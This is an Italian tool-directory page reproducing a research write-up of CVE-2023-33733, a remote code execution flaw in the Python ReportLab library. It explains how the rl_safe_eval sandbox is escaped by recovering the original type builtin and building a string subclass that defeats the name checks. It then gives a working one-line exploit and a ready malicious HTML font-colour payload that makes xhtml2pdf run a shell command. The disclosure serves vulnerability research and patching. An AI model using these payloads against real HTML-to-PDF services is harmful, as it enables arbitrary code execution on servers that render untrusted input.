Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-33733 — Analisi tecnica dettagliata ed exploit proof-of-concept per CVE-2023-33733, una vulnerabilità di esecuzione remota di codice nella libreria Python Reportlab tramite bypass della sandbox nell'elaborazione HTML-to-PDF. | Kitploit
Strumenti/GitHubGitHub/c53elyas/cve-2023-33733
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

Analisi tecnica dettagliata ed exploit proof-of-concept per CVE-2023-33733, una vulnerabilità di esecuzione remota di codice nella libreria Python Reportlab tramite bypass della sandbox nell'elaborazione HTML-to-PDF.

Vedi Repository
12118253 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

VULNERABILITÀ DI INIEZIONE DI CODICE NELLA LIBRERIA PYTHON REPORTLAB

In breve Questo write-up descrive come una RCE in Reportlab - è stata trovata e sfruttata. A causa della diffusione di Reportlab nell'elaborazione da HTML a PDF, questa vulnerabilità può essere raggiungibile in molte applicazioni che processano file PDF, rendendola importante da patchare e da tenere d'occhio.

Introduzione

Qualche giorno fa, durante un audit di un'applicazione web, abbiamo notato che l'applicazione utilizzava la libreria Python Reportlab per generare dinamicamente file PDF a partire da input HTML. Reportlab è risultata avere una vulnerabilità già patchata in precedenza che portava all'esecuzione di codice. Questo significa che trovare un bypass della patch era piuttosto interessante dal punto di vista di un attaccante, poiché avrebbe portato alla riscoperta dell'esecuzione di codice, soprattutto perché la libreria Reportlab è utilizzata anche in altre applicazioni e strumenti.

Cos'è Reportlab

Prima di tutto, un rapido riepilogo: Reportlab è un progetto Open Source che permette la creazione di documenti nel Portable Document Format (PDF) di Adobe utilizzando il linguaggio di programmazione Python. Crea anche diagrammi e grafici di dati in vari formati bitmap e vettoriali, oltre ai PDF.

Attaccare Reportlab

La libreria ha conosciuto nel 2019 un exploit simile che portava all'esecuzione remota di codice tramite l'attributo Color dei tag HTML: il contenuto dell'attributo veniva direttamente valutato come espressione Python usando la funzione eval, portando quindi all'esecuzione di codice. Per mitigare il problema, Reportlab ha implementato una sandbox chiamata , spogliata di tutte le funzioni builtin di Python e con molte funzioni builtin sovrascritte per consentire l'esecuzione del codice sicuro della libreria, bloccando al contempo qualsiasi accesso a funzioni e librerie pericolose che possano successivamente portare alla costruzione di codice Python pericoloso:

rl_safe_eval

Un esempio di queste misure preventive è che la funzione builtin getattr viene sovrascritta con una funzione ristretta __rl_getitem__ che proibisce l'accesso a qualsiasi attributo pericoloso degli oggetti, come quelli che iniziano con __:

root@kitploit:~
class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
		# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT 
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
		# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT 
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

Il Bug

La safe eval, come descritto in precedenza, ripulisce l'ambiente da tutte le funzioni pericolose, così che il codice in esecuzione non abbia accesso a strumenti pericolosi utilizzabili per eseguire azioni malevole. Tuttavia, se si trova un bypass a queste restrizioni e si riesce a ottenere l'accesso a una delle funzioni builtin originali, lo sfruttamento dell'ambiente sandbox sarebbe notevolmente facilitato.

Una delle molte classi builtin sovrascritte si chiama type; se questa classe viene chiamata con un argomento, restituisce il tipo di un oggetto. Tuttavia, se viene chiamata con tre argomenti, restituisce un nuovo oggetto tipo. Questo è essenzialmente una forma dinamica della dichiarazione di classe. In altre parole, può consentire la creazione di una nuova classe che eredita da un'altra classe.

Quindi l'idea qui è creare una nuova classe chiamata Word che eredita da str; quando viene passata alla getattr personalizzata, aggirerebbe i controlli e permetterebbe l'accesso ad attributi sensibili come __code__.

Prima che la getattr personalizzata nell'eval in sandbox restituisca l'attributo, esegue alcuni controlli chiamando __rl_is_allowed_name__ per verificare la sicurezza dell'attributo richiesto, prima di chiamare la builtin Python getattr e restituire il risultato.

root@kitploit:~
	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

Per bypassare la funzione __rl_is_allowed_name__, la classe Word dovrebbe:

  • Restituire sempre False per le chiamate alla funzione startswith per aggirare (name.startswith('__')
  • Dovrebbe restituire False alla sua prima chiamata a __eq__ per aggirare name in __rl_unsafe__; dopo la prima chiamata dovrebbe restituire la risposta corretta, perché quando __eq__ viene chiamata dalla builtin Python getattr deve restituire il risultato corretto.
  • l'hash dovrebbe essere lo stesso hash della sua stringa sottostante

La seguente classe soddisfa questi criteri:

root@kitploit:~
Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## prints False
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True

print(code.startswith('__')) ## prints False

La funzione type personalizzata nella safe eval non permette di ricevere tre argomenti:

root@kitploit:~
	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('type call error')

Un bypass è stato trovato chiamando type su se stessa, consentendo di recuperare la funzione builtin originale type:

root@kitploit:~
orgTypeFun = type(type(1))

Combinando queste due righe di codice si ottiene qualcosa del genere:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

Accesso alle builtin globali

L'exploit originale soffriva di diverse limitazioni che lo rendevano sfruttabile solo su Python 3.10; per risolvere questi problemi è stato adottato un nuovo approccio per accedere al modulo Python os.

La libreria Reportlab sovrascrive l'implementazione di diverse funzioni builtin e le inietta come globali nel contesto di eval.

Esempio di builtin di default sovrascritte da funzioni personalizzate in rl_safe_eval.py:

root@kitploit:~
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		__rl_builtins__['iter'] = self.__rl_getiter__
		__rl_builtins__['pow'] = self.__rl_pow__
		__rl_builtins__['list'] = self.__rl_list__
		__rl_builtins__['type'] = self.__rl_type__
		__rl_builtins__['max'] = self.__rl_max__

Poiché queste funzioni sono costruite nel contesto globale, le variabili globali e i moduli possono essere accessibili utilizzando l'attributo __globals__ di queste funzioni personalizzate.

Il seguente codice deve essere eseguito all'interno del contesto di eval

root@kitploit:~
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')

Exploit finale

Ora non resta che scrivere l'exploit:

Per fare ciò, una funzione verrà ricostruita dal bytecode di una funzione compilata:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
    'mutated': 1,
            'startswith': lambda self, x: False,
            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__': lambda self: hash(str(self))
            })
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')

Tuttavia, un'espressione multilinea come questa non verrà eseguita in un contesto di eval; per aggirare questo problema, si può usare il trucco della list comprehension, qualcosa del genere:

root@kitploit:~
[print(x) for x in ['hellworld']]
# which would be equivalent to 
x='helloworld'
print(x)


[[ print (x + ' ' + y) for y in ['second var']]  for x in ['first var']]
# which would be equivalent to 
x='first var'
x='second var'
print (x + ' ' + y) 

Con questa tecnica, il codice dell'exploit può essere riscritto in una sola riga di codice come questa (questa è considerata una riga x) il multilinea qui è solo formattazione per aumentare la leggibilità dell'exploit. Le dichiarazioni vanno lette dal basso verso l'alto x) strano, ma è così che funziona):

root@kitploit:~
[
    [
        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
        for Word in [
            orgTypeFun(
                'Word',
                (str,),
                {
                    'mutated': 1,
                    'startswith': lambda self, x: False,
                    '__eq__': lambda self, x: self.mutate()
                    and self.mutated < 0
                    and str(self) == x,
                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
                    '__hash__': lambda self: hash(str(self)),
                },
            )
        ]
    ]
    for orgTypeFun in [type(type(1))]
]

POC

Si prega di fare riferimento a poc.py in quanto contiene una prova di concetto che dimostra l'esecuzione del codice (in caso di exploit riuscito, viene creato un file chiamato exploited in /tmp/).

Cos'altro?

Molte app e librerie utilizzano la libreria Reportlab; ad esempio, l'utility xhtml2pdf è vulnerabile e può subire l'esecuzione di codice durante la trasformazione di HTML malevolo in PDF

root@kitploit:~
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
EOF

xhtml2pdf mallicious.html
ls -al /tmp/exploited

Ringraziamenti

Voglio ringraziare Matthias Weckbecker per la sua collaborazione e il meraviglioso scambio di opinioni discutendo i limiti dell'exploit originale. Ora l'exploit funziona perfettamente su tutte le versioni di Python 3 :D

Scarica lo strumento